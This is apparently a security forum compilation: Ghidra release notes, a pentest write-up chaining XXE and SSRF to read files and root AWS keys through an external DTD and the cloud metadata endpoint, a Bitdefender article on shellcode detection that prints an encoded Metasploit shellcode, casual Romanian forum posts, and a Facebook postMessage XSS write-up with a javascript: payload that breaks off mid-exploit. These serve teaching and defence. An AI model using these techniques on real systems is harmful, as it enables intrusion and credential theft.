Fixed a File Chooser bug causing a NullPointerException for some users. (GP-171, Issue #1706) GUI. Fixed an issue that caused the script progress bar to appear intermittently. (GP-179, Issue #1819) GUI. Fixed a bug that caused Call Tree nodes to go missing when showing more than one function with the same name. (GP-213, Issue #1682) GUI:Project Window. Fixed Front End copy action to allow for the copy of program names so that users can paste those names into external applications. (GT-3403, Issue #1257) Headless. Headless Ghidra now properly honors the -processor flag, even if the specified processor is not a valid opinion. (GT-3376, Issue #1311) Importer. Corrected an NeLoader flags parsing error. (GT-3381, Issue #1312) Importer. Fixed the File -> Add to Program... action to not show a memory conflict error when the user is creating an overlay. (GT-3491, Issue #1376) Importer. Updated the XML Importer to apply repeatable comments. (GT-3492, Issue #1423) Importer. Fixed issue in Batch Import where only one item of a selection was removed when attempting to remove a selection of items. (GP-138) Importer. Corrected various issues with processing crushed PNG images. (GP-146, Issue #1854, #1874, #1875, #2252) Importer. Fixed RuntimeException occurrence when trying to load NE programs with unknown resources. (GP-182, Issue #1596, #1713, #2012) Importer. Fixed batch import to handle IllegalArgumentExceptions thrown by loaders. (GP-227, Issue #2328) Importer:ELF. Corrected ELF relocation processing for ARM BE8 (mixed-endian). (GT-3527, Issue #1494) Importer:ELF. Corrected ELF relocation processing for R_ARM_PC24 (Type: 1) that was causing improper flow in ARM disassembly. (GT-3654) Importer:ELF. Corrected ELF import processing of DT_JMPREL relocations and markup of associated PLT entries. (GP-252, Issue #2334) Importer:PE. Fixed an IndexOutOfBoundsException in the PeLoader that occurred when the size of a section extends past the end of the file. (GT-3433, Issue #1371) Listing:Comments. Fixed bug in Comment field that prevented navigation when clicking on an address or symbol where tabs were present in the comment. (GT-3440) Memory. Fixed bug where sometimes random bytes are inserted instead of 0x00 when expanding a memory block. (GT-3465) Processors. Corrected the offset in SuperH instructions generated by sign-extending a 20-bit immediate value composed of two sub-fields. (GT-3251, Issue #1161) Processors. Fixed AVR8 addition/subtraction flag macros. (GT-3276) Processors. Corrected XGATE ROR instruction semantics. (GT-3278) Processors. Corrected semantics for SuperH movi20 and movi20s instructions. (GT-3337, Issue #1264) Processors. Corrected SuperH floating point instruction token definition. (GT-3340, Issue #1265) Processors. Corrected SuperH movu.b and movu.w instruction semantics. (GT-3345, Issue #1271) Processors. Corrected AVR8 lpm and elpm instruction semantics. (GT-3346, Issue #631) Processors. Corrected pcode for the 6805 BSET instruction. (GT-3366, Issue #1307) Processors. Corrected ARM constructors for instructions vnmla, vnmls, and vnmul. (GT-3368, Issue #1277) Processors. Corrected bit-pattern for ARM vcvt instruction. (GT-3369, Issue #1278) Processors. Corrected TriCore abs instructions. (GT-3379, Issue #1286) Processors. Corrected x86 BT instruction semantics. (GT-3423, Issue #1370) Processors. Fixed issue where CRC16C LOAD/STOR with abs20 were not mapped correctly. (GT-3529, Issue #1518) Processors. Fixed M68000 MOVE USP,x and MOVE x,USP opcodes. (GT-3594, Issue #1593) Processors. Fixed the ARM/Thumb TEQ instruction pcode to be an XOR. (GP-23, Issue #1802) Processors. Emulation was broken by a regression in version 9.1.2. Emulation and Sleigh Pcodetests now work correctly. (GP-24, Issue #1579) Processors. Fixed carry flag issue for 6502 CMP, CPX, and CPY instructions. (GP-34) Processors. Corrected the SuperH high-order bit calculation for the rotr instruction. (GP-47) Processors. Corrected ELF ARM relocation processing for type 3 (R_ARM_REL32) and added support for type 42 (R_ARM_PREL31). (GP-164, Issue #2261, #2276) Scripting. Moved Jython cache directory out of tmp. (GP-36) Scripting. Fixed a NoClassDefFoundError when compiling GhidraScript under JDK14. (GP-59, Issue #2152) Scripting. Fixed issues with null result when searching for the script directory. (GP-103, Issue #2187) Scripting. Fixed scripting issue where, if there were non-ASCII characters in the user path, Jython would not work. (GP-204, Issue #1890) Sleigh. Corrected IndexOutOfBoundsException in SLEIGH when doing simple assignment in disassembly actions block. (GT-3382, Issue #745) Symbol Tree. Fixed the Symbol Tree so that clicking an already-selected symbol node will still trigger a Listing navigation. (GT-3436, Issue #453) Symbol Tree. Fixed the Symbol Tree to not continuously rebuild while performing Auto-analysis. (GT-3542) Version Tracking. Fixed Version Tracking Create Manual Match action. (GT-3305, Issue #2215) Version Tracking. Fixed a NullPointerException encountered when changing the Version Tracking options for the Listing Code Comparison when no data was loaded. (GT-3437, Issue #1143) Version Tracking. Fixed Version Tracking exception triggered in the Exact Functions Instructions Match correlator encountered when the two functions being compared differed in their number of instructions. (GT-3438, Issue #1352) Sursa: https://ghidra-sre.org/releaseNotes_9.2.html

Unique XXE to AWS Keys journey BrOoDkIlLeR 1 day ago·7 min read Version en español: acá Always trust your feelings and try everything, even if you think its crazy or will not work… it may work. If you run out of ideas, go away and they will come Been asked to do a private web pentest (too bad it was not a bugbounty program). It’s my first paid one so I wanted to do it as best as I can. The client is a company with presence in 15+ countries, 120+ clients worldwide and 12+ million final users. So that’s a lot. I will go directly to relevant results, so don’t think it was all open doors. When I ask a question to you or there is an image, please take a time to think what would you do next before reading what I did, take it as a practice. I been given a domain to test and a user/password, so let’s get started. At first sight I can see the application is huge and very robust. It has many functions to test, many profiles, so I start runing a basic dirsearch just to see what is there in the background. Some xml configuration files appeared implying there is a Tomcat somewhere. Reading the contents of the xml file I notice some <url-pattern> tag, so mi instinct told me to try some GET requests with Burp to see what response I get. GET Request / Response Response has Server: nginx header… so what does this architecture looks like? Like this Part of client’s architecture So the endpoint exists but it did not like GET request type so I tried POST. POST Request / Response In response you can see there is a Content-type header with text/xml value, so the response should contain a valid XML. In this case I only got “Could not access envelope: Unable to create…” error. So, what would you try? I went directly to the worst case escenario I thought of where there is an XXE vulnerabily. So I got some XXE payloads googling “XXE payloads”. I added Content-type Request header with text/xml (because that is what the server is expecting and I have to tell him what the hell am I sending) and I copypasted the very first payload which tries to access /etc/passwd file. And this happened First XXE Payload used with POST Request / Response So what’s going on ? Response code was 200 (OK). Its seems like server is trying to read the contents of /etc/passwd file and make a valid XML file to craft a Response, but the final XML is not well formed because some thing in line 33 of /etc/passwd breaks parsing. Now we know that maybe /etc/passwd file has 33 lines. I asked the Client that and he confirmed that the web server has a /etc/passwd file with 33 lines long. So the next thing is to try to get the contents and we are done! Until now, in a bugbounty program this may not be considered as a POC, because we cannot do any harm to anyone with this. So you must keep digging until you have some hot pottatoe. I made a SSRF Request and it worked! I knew port 8080 is the default port for Tomcat server, and I knew it from Google Chrome console. In the first payload sent when I got 405 error, it shows this Chrome’s console showing backend IP:port So I tried that SSRF at backend server (Tomcat) on localhost (127.0.0.1) and port 8080 (default) The server made a request to himself to obtain the external DTD and answered with an error. It tried to parse the HTML I requested and it raises an error. Later I found the HTML code was this Note the missing </meta> tag that breaks XML parsing So I tried another port to see how it behaves SSRF Connection refused because port 8081 is closed So port 8081 is closed. We can check every port with Burp Intruder and see responses (its like an nmap but HTTP) just to check what other services are there (until now we only know port 8080). There were at least 8 ports open (only tried nmap top 1000) So I wanted to get some juicy files contents and here comes the “try harder” part. Tried maaany payloads (except DoS ones) one by one, modified them in every way I could think of, tried wrappers like file://, php://, dict://, expect:// etc., but they were disabled, read many writeups, and nothing… until I managed to make one payload to work but with an UNIQUE TWIST. The mechanisms looks like this: Credits: securityboulevard.com So, instead of sending the Request with all the XML file at once like before, some part of it is hosted on my own host (External DTD). So the web application has to gather all parts of the XML to understand it and then make some Response (we already demonstrate local resources access with SSRF, but.. what about internet resources?) Payload sent in POST Request External DTD — &#x25; is % encoded, if not, it breaks parsing What do you see in External DTD that’s weird? I hosted the External DTD file (a.dtd) in my own host. So the weird part comes as I didn’t request /etc/passwd file (I did it like before and receive the same “Error on line 33…” Response). I requested / And this was the response Response for file:/// request Wait, WHAT? YES! Thats the weird and amazing part! Instead of getting an error, I got directory listing ! Never read/heard of this behavior before in any writeup I have ever read, but this is GOLD! Do you know why it happens? I didn’t… some days after this found this. It seems that Java lists directory contents when a directory is requested instead of a file. So instead of trying to guess some files and directories, I took my time to manually browse many folders to gain more impact. Ended up finding a lot of private keys, config files, sensitive data, third party service passwords, clients information, etc. But the most important data I found was… AWS credentials! Tried to get some through AWS metadata but I received ones with 0 (zero) privileges. In a folder like /xxx/xxx/xxx/xxx/credentials was this AWS Access key & Secret Key I run out to find what privileges they have with PACU and AWS CLI. Found out that they had root access, so… what’s there more juicy than that? AWS Access Keys Privileges What would you do with that kind of access? For example, a cybercriminal could: Change instances states: he could terminate all of them (there is no more service, or.. no more Company?), start, stop or create new ones Make use of them (mine bitcoins, deploy backdoors, scripts). Imagine billings… Steal data (credit cards, personal information), Deny access Anything… So, just to check since the application is hosted on an AWS EC2 (just a cloud computer hosted on Amazon’s datacenter) I tried to acces it’s metadata through SSRF like before. It also worked! (with external DTD, not with the basic payload, requesting http://169.254.169.254/latest/meta-data/iam instead of file:///) SSRF to http://169.254.169.254/latest/meta-data/iam At this point the contents of /etc/passwd were trivial Conclusions I am super happy with the results I got. Managed to find some other things like XSS, outdated software and some more. So I learnt: XXE SSRF Port scanning with SSRF Proxy / Backend architecture To have patience Takeaways Always try to escalate bugs and go as deep as you can Do manual testing, so far I got the best results rather than automating (was useful for port scanning part with SSRF) When you face a problem, try all the things that comes to your mind like I did (a lot will come if you had read consciously writeups and information and suddenly all dots and info comes togheter to aid you!! ) Be organized and take notes & screenshots (maybe the client fixes the problem in the meantime and you have nothing otherwise) If you get stuck, take some time off and come back with new fresh ideas Try to chain bugs or vulnerabilities you found and use them togheter for your advantage We know nothing (right? this is a neverending learning journey), so ask for help, advice or directions if you need to (you can do it in an anonymously way too) Be ethical and humble with the Client, they have developers / infra people that are humans and made mistakes like we do. Work with them to solve the issues Learn from all the things you did. Notice that if you have to do some testing with similar infrastructure you have experience already! You will try to go directly to the hot part ! Take some time off and sleep well, your brain will continue to process all what you have learn so far Share with the community ! Hope you enjoyed, thanks for reading so far !!! Sursa: https://medium.com/@estebancano/unique-xxe-to-aws-keys-journey-afe678989b2b

bdshemu: The Bitdefender shellcode emulator Nov 11, 2020 • Andrei Lutas Introduction Detecting exploits is one of the major strengths of Hypervisor Memory Introspection (HVMI). The ability to monitor guest physical memory pages against different kinds of accesses, such as write or execute, allows HVMI to impose restrictions on critical memory regions: for example, stack or heap pages can be marked as being non-executable at the EPT level, so when an exploit manages to gain arbitrary code execution, the introspection logic would step in and block the execution of the shellcode. In theory, intercepting execution attempts from memory regions such as the stack or the heap should be enough to prevent most of the exploits. Real life is often more complicated, and there are many cases where legit software uses techniques that may resemble on attack - Just In Time compilation (JIT) in browsers is one good example. In addition, an attacker may store its payload in other memory regions, outside the stack or the heap, so a method of discerning good code from bad code is useful. We will talk in this blog post about the Bitdefender Shellcode Emulator, or bdshemu for short. bdshemu is a library capable of emulating basic x86 instructions (in all modes - 16, 32 and 64 bit), while observing shellcode-like behavior. Legitimate code, such as JIT code, will look different compared to a traditional shellcode, so this is what bdshemu is trying to determine: whether the emulated code behaves like a shellcode or not. bdshemu Overview bdshemu is a library written in C, and is part of the bddisasm project (and of course, it makes use of bddisasm for instruction decoding). The bdshemu library is built to emulate x86 code only, so it has no support for API calls. In fact, the emulation environment is highly restricted and stripped down, and there are only two memory regions available: The page(s) containing the emulated code; The stack; Both of these memory regions are virtualized, meaning that they are in fact copies of the actual memory being emulated, so modifications made to them don’t affect the actual system state. Any access made by the emulated code outside of these two areas (which we will call the shellcode and the stack, respectively) will trigger immediate emulation termination. For example, an API call will automatically cause a branch outside the shellcode region, thus terminating emulation. However, in bdshemu, all we care about is instruction-level behavior of the code, which is enough to tell us whether the code is malicious or not. While bdshemu provides the main infrastructure for detecting shellcodes inside a guest operating-system, it is worth noting that this is not the only way HVMI determines that execution of a certain page is malicious - two other important indicators are used: The executed page is located on the stack - this is common with stack-based vulnerabilities; The stack is pivoted - when a page is first executed and the RSP register points outside the normal stack allocated for the thread; These two indicators are enough on their own to trigger an exploit detection. If these are not triggered, bdshemu is used to take a good look at the executed code, and decide if it should be blocked or not. bdshemu Architecture bdshemu is created as a standalone C library, and it only depends on bddisasm. Working with bdshemu is fairly simple, as just like bddisasm, it is a single-API library: SHEMU_STATUS ShemuEmulate( SHEMU_CONTEXT *Context ); The emulator expects a single SHEMU_CONTEXT argument, containing all the needed information in order to emulate the suspicious code. This context is split in two sections - input parameters and output parameters. The input parameters must be supplied by the caller, and they contain information such as the code to be emulated, or initial register values. The output parameters contain information such as what shellcode indicators bdshemu detected. All these fields are well documented in the source-code. Initially, the context is filled in with the following main information (please note that emulation outcome may change depending on the value of the provided registers and stack): Input registers, such as segments, general purpose registers, MMX and SSE registers; they can be left 0, if they are not known, or if they are irrelevant; Input code, which is the actual code to be emulated; Input stack, which can contain actual stack contents, or can be left 0; Environment info, such as mode (32 or 64 bit), or ring (0, 1, 2 or 3); Control parameters, such as minimum stack-string length, minimum NOP sled length or the maximum number of instructions that should be emulated; The main output parameter is the Flags field, which contains a list of shellcode indicators detected during the emulation. Generally, a non-zero value of this field strongly suggests that the emulate code is, in fact, a shellcode. bdshemu is built as a plain, quick and simple x86 instruction emulator: since it only works with the shellcode itself and a small virtual stack, it doesn’t have to emulate any architectural specifics - interrupts or exceptions, descriptor tables, page-tables, etc. In addition, since we only deal with the shellcode and stack memory, bdshemu does not do memory access checks, since it doesn’t even allow accesses to other addresses. The only state apart from the registers that can be accessed is the shellcode itself and the stack, and both are copies of the actual memory contents - the system state is never modified during the emulation, only the provided SHEMU_CONTEXT is. This makes bdshemu extremely fast, simple, and lets us focus on its main purpose: detecting shellcodes. As far as instruction support goes, bdshemu supports all the basic x86 instructions, such as branches, arithmetic, logic, shift, bit manipulation, multiplication/divison, stack access and data transfer instructions. In addition, it also has support for other instructions, such as some basic MMX or AVX instructions - PUNPCKLBW or VPBROADCAST are two good examples. bdshemu Detection Techniques In order to determine whether an emulated piece of code behaves like a shellcode, there are several indicators bdshemu uses. NOP Sled This is the classic presentation of shellcodes; since the exact entry point of the shellcode when gaining code execution may be unknown, attackers usually prepend a long sequence of NOP instructions, encoding 0x90. The parameters for the NOP-sled length can be controlled when calling the emulator, via the NopThreshold context field. The default value is SHEMU_DEFAULT_NOP_THRESHOLD, which is 75, meaning that minimum 75% of all the emulated instruction must be NOP. RIP Load Shellcodes are designed to work correctly no matter what address they’re loaded at. This means that the shellcode has to determine, dynamically, during runtime, the address it was loaded at, so absolute addressing can be replaced with some form of relative addressing. This is typically achieved by retrieving the value of the instruction pointer using well-known techniques: CALL $+5/POP ebp - executing these two instructions will result in the value of the instruction pointer being stored in the ebp register; data can then be accessed inside the shellcode using offsets relative to the ebp value; FNOP/FNSTENV [esp-0xc]/POP edi - the first instruction is any FPU instruction (not necessarily FNOP), and the second instruction, FNSTENV saves the FPU environment on the stack; the third instruction will retrieve the FPU Instruction Pointer from esp-0xc, which is part of the FPU environment, and contains the address of the last FPU executed - in our case, FNOP; from there on, addressing relative to the edi can be used to access shellcode data; Internally, bdshemu keeps track of all the instances of the instruction pointer being saved on the stack. Later loading that instruction pointer from the stack in any way will result in triggering this detection. Due to the way bdshemu keeps track of the saved instruction pointers, it doesn’t matter when, where or how the shellcode attempts to load the RIP in a register and use it, bdshemu will always trigger a detection. In 64 bit, RIP-relative addressing can be used directly, since the instruction encoding allows it. However, surprisingly, a large number of shellcodes still use a classic method of retrieving the instruction pointer (generally the CALL/POP technique), which is somehow weird, but it probably indicated that 32 bit shellcodes were ported to 64 bit with minimal modifications. Write Self Most often, shellcodes come in encoded or encrypted forms, in order to avoid certain bad characters (for example, 0x00 in a shellcode that should resemble a string may break the exploit) or to avoid detection by security technologies (for example, AV scanners). This means that during runtime, the shellcode must decode itself (usually in-place), by modifying its own contents, and then executing the plain-text code. Typical methods of decoding involve XOR or ADD based decryption algorithms. Certainly, bdshemu follows this kind of behavior, and keeps track internally of each modified byte inside the shellcode. Whenever the suspected shellcode writes any portion of itself, and then it executes it, the self-write detection will be triggered. TIB Access Once a shellcode has gained code execution, it needs to locate several functions inside various modules, in order to carry its actual payload (for example, downloading a file, or creating a process). On Windows, the most common way of doing this is by parsing the user-mode loader structures, in order to locate the addresses where the required modules were loaded, and then locate the needed functions inside these modules. The sequence of structures the shellcode will access is: The Thread Environment Block (TEB), which is located at fs:[0] (32 bit thread) or gs:[0] (64 bit thread); The Process Environment Block (PEB), which is located at TEB+0x30 (32 bit) or TEB+0x60 (64 bit) The Loader information (PEB_LDR_DATA), located inside PEB Inside the PEB_LDR_DATA, there are several lists which contain the loaded modules. The shellcode will iterate through these lists in order to locate the much needed libraries and functions. On each memory access, bdshemu will see if the shellcode tries to access the PEB field inside TEB. bdshemu will keep track of memory accesses even if they are made without the classic fs/gs segment prefixes - as long as an access to the PEB field inside TEB is identified, the TIB access detection will be triggered. Direct SYSCALL invocation Legitimate code will rely on several libraries in order to invoke operating system services - for example, in order to create a process, normal code would call one of the CreateProcess functions on Windows. It is uncommon for legitimate code to directly invoke a SYSCALL, since the SYSCALL interface may change over time. For this reason, bdshemu will trigger the SYSCALL detection whenever it sees that a suspected shellcode directly invokes a system service using the SYSCALL/SYSENTER/INT instructions. Stack Strings Another common way for shellcodes to mask their contents is to dynamically construct strings on the stack. This may eliminate the need to write Position Independent Code (PIC), since the shellcode would dynamically build the desired strings on the stack, instead of referencing them inside the shellcode as regular data. Typical ways of achieving this is by saving the string contents on the stack, and then reference the string using the stack pointer: push 0x6578652E push 0x636C6163 The code above would end up storing the string calc.exe on the stack, which can then be used as a normal string throughout the shellcode. For each value saved on the stack that resembles a string, bdshemu keeps track of the total length of the string constructed on the stack. Once the threshold indicated by the StrLength field inside the context is exceeded, the stack string detection will be triggered. The default value for this field is SHEMU_DEFAULT_STR_THRESHOLD, which is equal to 8, meaning that dynamically constructing a string equal to or longer than 8 characters on the stack will trigger this detection. bdshemu Detection Techniques for Kernel-Mode shellcodes While the above mentioned techniques are general and can be applied to any shellcode, on any operating system and on both 32 or 64 bit (except for the TIB access detection, which is Windows specific), bdshemu also has the capability of determining some kernel-specific shellcode behavior. KPCR Access The Kernel Processor Control Region (KPCR) is a per-processor structure on Windows systems that contains lots of information critical for the kernel, but which may be useful for an attacker as well. Commonly, the shellcode would wish to reference the currently executing thread, which can be retrieved by accessing the KPCR structure, at offset 0x124 on 32 bit systems and 0x188 on 64 bit systems. Just like the TIB access detection technique, bdshemu keeps track of memory accesses, and when the emulated code reads the current thread from the KPCR, it will trigger the KPCR access detection. SWAPGS execution SWAPGS is a system instruction that is only executed when transitioning from user-mode to kernel-mode and vice-versa. Sometimes, due to the specifics of certain kernel exploits, the attacker will end up needing to execute SWAPGS - for example, the EternalBlues kernel payload famously intercepted the SYSCALL handler, so it needed to execute SWAPGS when a SYSCALL took place, just like an ordinary system call would do. bdshemu will trigger the SWAPGS detection whenever it encounters the SWAPGS instruction being executed by a suspected shellcode. MSR read/write Some shellcodes (such as the aforementioned EternalBlue kernel payload) will have to modify the SYSCALL handler in order to migrate to a stable execution environment (for example, because the initial shellcode executes at a high IRQL, which needs to be lowered before calling useful routines). This is done by modifying the SYSCALL MSRs using the WRMSR instruction, and then waiting for a syscall to execute (which is at lower IRQL) to continue execution (this is also where the SWAPGS technique comes in handy, since SWAPGS must be executed after each SYSCALL on 64 bit). In addition, in order to locate the kernel image in memory, and, subsequently, useful kernel routines, a quick and easy technique is by querying the SYSCALL MSR (which normally points to the SYSCALL handler inside the kernel image), and then walk pages backwards until the beginning of the kernel image is found. bdshemu will trigger the MSR access detection whenever the suspected shellcode accesses the SYSCALL MSRs (both on 32 or 64 bit mode). Example The bdshemu project contains some synthetic test-cases, but the best way to demonstrate its functionality is by using real-life shellcodes. In this regard, Metasploit is remarkable at generating different kinds of payloads, using all kind of encoders. Let’s take the following shellcode as a purely didactic example: DA C8 D9 74 24 F4 5F 8D 7F 4A 89 FD 81 ED FE FF FF FF B9 61 00 00 00 8B 75 00 C1 E6 10 C1 EE 10 83 C5 02 FF 37 5A C1 E2 10 C1 EA 10 89 D3 09 F3 21 F2 F7 D2 21 DA 66 52 66 8F 07 6A 02 03 3C 24 5B 49 85 C9 0F 85 CD FF FF FF 1C B3 E0 5B 62 5B 62 5B 02 D2 E7 E3 27 87 AC D7 9C 5C CE 50 45 02 51 89 23 A1 2C 16 66 30 57 CF FB F3 9A 8F 98 A3 B8 62 77 6F 76 A8 94 5A C6 0D 4D 5F 5D D4 17 E8 9C A4 8D DC 6E 94 6F 45 3E CE 67 EE 66 3D ED 74 F5 97 CF DE 44 EA CF EB 19 DA E6 76 27 B9 2A B8 ED 80 0D F5 FB F6 86 0E BD 73 99 06 7D 5E F6 06 D2 07 01 61 8A 6D C1 E6 99 FA 98 29 13 2D 98 2C 48 A5 0C 81 28 DA 73 BB 2A E1 7B 1E 9B 41 C4 1B 4F 09 A4 84 F9 EE F8 63 7D D1 7D D1 7D 81 15 B0 9E DF 19 20 CC 9B 3C 2E 9E 78 F6 DE 63 63 FE 9C 2B A0 2D DC 27 5C DC BC A9 B9 12 FE 01 8C 6E E6 6E B5 91 60 F2 01 9E 62 B0 07 C8 62 C8 8C Saving this as a binary file as shellcode.bin and then viewing its contents yields a densely packed chunk of code, highly indicative of an encrypted shellcode: Using the disasmtool provided in the bddisasm project, one can use the -shemu option to run the shellcode emulator on the input. disasmtool -b32 -shemu -f shellcode.bin Running this on our shellcode will display step-by-step information about each emulated instruction, but because that trace is long, let’s jump directly to the end of if: Emulating: 0x0000000000200053 XOR eax, eax RAX = 0x0000000000000000 RCX = 0x0000000000000000 RDX = 0x000000000000ee00 RBX = 0x0000000000000002 RSP = 0x0000000000100fd4 RBP = 0x0000000000100fd4 RSI = 0x0000000000008cc8 RDI = 0x000000000020010c R8 = 0x0000000000000000 R9 = 0x0000000000000000 R10 = 0x0000000000000000 R11 = 0x0000000000000000 R12 = 0x0000000000000000 R13 = 0x0000000000000000 R14 = 0x0000000000000000 R15 = 0x0000000000000000 RIP = 0x0000000000200055 RFLAGS = 0x0000000000000246 Emulating: 0x0000000000200055 MOV edx, dword ptr fs:[eax+0x30] Emulation terminated with status 0x00000001, flags: 0xe, 0 NOPs SHEMU_FLAG_LOAD_RIP SHEMU_FLAG_WRITE_SELF SHEMU_FLAG_TIB_ACCESS We can see that the last emulated instruction is MOV edx, dword ptr fs:[eax+0x30], which is a TEB access instruction, but which also triggers emulation to be stopped, since it is an access outside shellcode memory (and remember, bdshemu will stop at the first memory access outside the shellcode or the stack). Moreover, this small shellcode (generated using Metasploit) triggered 3 detections in bdshemu: SHEMU_FLAG_LOAD_RIP - the shellcode loads the RIP inside a general-purpose register, to locate its position in memory; SHEMU_FLAG_WRITE_SELF - the shellcode descrypts itself, and then executes decrypted pieces; SHEMU_FLAG_TIB_ACCESS - the shellcode goes on to access the PEB, in order to locate important libraries and functions; These indicators are more than enough to conclude that the emulated code is, without a doubt, a shellcode. What’s even more awesome about bdshemu is that generally, at the end of the emulation, the memory will contain the decrypted form of the shellcode. disasmtool is nice enough to save the shellcode memory once emulation is done - a new file, named shellcode.bin_decoded.bin is created which now contains the decoded shellcode; let’s take a look at it: Looking at the decoded shellcode, one can immediately see not only that it is different, but that is plain text - a keen eye will quickly identify the calc.exe string at the end of the shellcode, hinting us that it is a classic calc.exe spawning shellcode. Conclusions We presented in this blog-post the Bitdefender shellcode emulator, which is a critical part of HVMI’s exploit detection technology. bdshemu is built to detect shellcode indicators at the binary-code level, without the need to emulate complex API calls, complex memory layout or complex architectural entities, such as page-tables, descriptor tables, etc. - bdshemu focuses on what matters most, emulating the instructions and determining if they behave like a shellcode. Due to its simplicity, bdshemu works for shellcodes aimed towards any operating system, as most of the detection techniques are specific to instruction-level behavior, instead of high level behavior such as API calls. In addition, it works on both 32 and 64 bit code, as well as with user or kernel specific code. Sursa: https://hvmi.github.io/blog/2020/11/11/bdshemu.html

Si oare nu au adus niste bani la buget cu ocazia asta? Sau bine, in buzunarele lor, cel putin partial.

Despre vacicnul Pfizer/Biontech https://recorder.ro/povestea-primului-vaccin-anti-covid-spusa-de-o-cercetatoare-romanca-din-germania/

Nu stiu daca se poate urmari prea usor pretul pe emag. La un moment dat m-am uitat la mai multe produse si mi-au bagat CAPTCHA. Eu am vazut un laptop la Black Friday cu pretul de 15000 RON, redus de la 18000 RON cica. Azi, dupa Black Friday era 14000 RON. Interesant.

Teoretic simplu, practic greut de pus in practica Eu am citit asta: https://blog.cloudflare.com/sad-dns-explained/

Era criptat? Daca da, e mai complicat, mai ales daca nu stii pattern. Poti sa incerci sa ii schimbi display-ul, adica sa ii iei placa de baza si sa o legi la un display care merge si sa speri sa fie OK.

Epic

Da, e ciudat. Cand mai comand de la alte firme, caut pe site-ul lor si daca pot comand de acolo. De cele mai multe ori e o diferenta de pret care altfel ar ajunge la emag.

Costa 5 dolari pe DigitalOcean.

Nu ma atrage nimic dar trebuie sa recunosc ca am gasit la emag mai multe produse (pe care le comandasem anterior) reduse. Nu cu foarte mult, dar reduse (15%-20%).

Da, nu mi se pare cine stie ce: https://s13emagst.akamaized.net/layout/ro/newsletter/2020_11_13_BF_blackout/

Am dat o tura prin lista de comenzi date la emag sa vad ce preturi au acum produsele si cu cate le-am luat eu. Sunt cateva ceva mai scumpe, dar majoritatea sunt putin mai ieftine (ceea ce are sens).

M-am uitat si eu pe diverse site-uri si nu am vazut nimic interesant. Adica reducere, fie ea si pe bune, de 200 RON la un pret de 1700 RON nu mi se pare chiar mare lucru. As prefera sa dau acei 200 RON si sa imi vina produsul in ziua urmatoare, nu in 2 saptamani. Din produsele de la emag pot spune ca acel scan de birou e redus pe bune, dar nu am urmarit alte produse si nu am idee cat de reduse sunt.

O sa fie inregistrata si voi publica ulterior (zilele urmatoare) prezentarile pe Youtube (probabil). Va trebui probabil sa "tai" fiecare prezentare ca cineva sa le poata vedea cum trebuie, deci nu stiu daca va merge direct in Zoom ca nu ar fi elegant asa la gramada.

Minim 50 de posturi pentru vanzare/cumparare.

Anunt important Toate informatiile legate de conferinta sunt disponibile pe site: https://rstcon.com/ Veti gasi lista de prezentari, speakerii, informatii legate de CTF (si premiile), evenimentele de pe Facebook si Linkedin precum si link-urile de inregistrare la conferinta (Zoom) si pe chat (Slack).

Salut, daca nu ai aplicatie binara, locala (la tine in PC) nu ai cum sa afli algoritmul, in cel mai bun caz poate fi ceva foarte simplu si sa ai noroc dar sunt sanse extrem de mici. Sunt miliarde de posibilitati de algoritmi in functie de ce i-a trecut prin cap celui care l-a gandit. Poate sa fie un numar secret care sa fie folosit, un hash algoritm combinat cu mai stiu eu ce salt, adunare/scadere/inmultire/impartire a cifrelor, poate chiar sa fie o baza de date cu mapare intre serial si PIN (deci sa nu fie niciun algoritm). Singura solutie ar fi sa iei radio-ul, sa il conectezi prin JTAG sau printr-un port serial la calculator si cumva sa ii extragi firmware-ul, probabil vei gasi algoritmul acolo. Dar pentru acest efort... mai bine iti iei alte 10 radio-uri.

NOVEMBER 7, 2020 BY QW Facebook DOM Based XSS using postMessage The first bug could have allowed a malicious user to send cross-origin messages via postMessage method from facebook.com domain. The vulnerable endpoint would accept user controlled content in the request parameters and construct an object with the data supplied to be send with postMessage to opener window. Then, another bug was found and then linked with the previous, this bug was that a script was unsafely constructing and submitting a form based on the data received in messages via an Eventlistener. 1) Sending messages via postMessage from facebook.com origin The vulnerable endpoint was https://www.facebook.com/payments/redirect.php . The response of this endpoint could be controlled by many parameters. I found an interesting one which is “type”. This parameter if changed from normally “i” to “rp” it would use postMessage for communication with the opener window ( for “i” it would use window.parent.PaymentsFlows.processIFrame). Attacker controls what being sent with postMessage method. Notice that the target origin was set to our.intern.facebook.com. From this i knew that the postMessage method was there to target or only be used by Facebook employees since our.intern.facebook.com domain is only “fully” accessible to them and for no-employees, it would redirect to www.facebook.com. I tried to bypass this for future usage by accessing the same endpoint in another domain which is our.alpha.facebook.com. In case of our.alpha.facebook.com/payments/redirect.php, it would return our.alpha.facebook.com as the targetOrigin of the postMessage. In the contrary of our.intern , our.alpha would not redirect to www. Notice that our.alpha.facebook.com domain has the same content as www.facebook.com. This would allow messages to opener window to pass-through since the targetOrigin condition would be fulfilled and messages would be sent to our.alpha.facebook.com. At this point, i knew that i should exploit this by looking for pages where interesting message EventListeners exists and which would only accept facebook.com subdomains in the message origin. Only accepting Facebook domains is a big hint that the data received in the message would be used to do something serious. I found a couple of interesting ones but i’ll only mention the one that got me DOM XSS. 2) The XSS Facebook Canvas Apps are served under apps.facebook.com. If you visit an app being served there, you’ll notice that Facebook would load an URL ( previously selected by the app owner ) inside an iframe and then a POST message would be sent to this URL with parameters like “signed_request”. Tracing what originated this request, i found that the page was loading “https://www.facebook.com/platform/page_proxy/?version=X” in an iframe too and then sending messages to it with postMessage ( I later found out that this endpoint was used before by another researcher to achieve a serious bug too). The page_proxy page contained this code: page_proxy source code This code would do two things. It would send a message with frameName via postMessage to any origin (This was used by Amol but now fixed by checking the frameName). The second thing is it would setup an EventListener and wait for messages. If a message is received and all conditions are fulfilled, it would submit a form after setting its attributes based on the data inside the message. What’s interesting about the form construction (submitForm method), is that the action attribute of the form is directly set to “a.data.params.appTabUrl” which is received in the message. The URL inside “appTabUrl” string wasn’t checked if it starts with http/https, for that we can use other schemes like javascript to achieve XSS! A payload that would construct an object that would fulfill all conditions in the page_proxy script would be something like this: https://our.alpha.facebook.com/payments/redirect.php?type=rp&name=_self&params[appTabUrl]=javascript:alert(1);&params[signedRequest]=SIGNED_X&platformAppControllerGetFrameParamsResponse=1 OBJ: {“type”:”rp”,”name”:”_self”,”params”:{“appTabUrl”:”javascript:alert(1);”,”signedRequest”:”SIGNED_X”},”platformAppControllerGetFrameParamsResponse”:”1″} Exploit The victim should visit the attacker website which would have the following code. This would open another page in the attacker website and the current window would be the opener window. <html> <button class="button" onClick="window.open('https://attacker/page2.html', '_blank');document.location.href = 'https://our.alpha.facebook.com/platform/page_proxy/?version=X#_self';"> <span 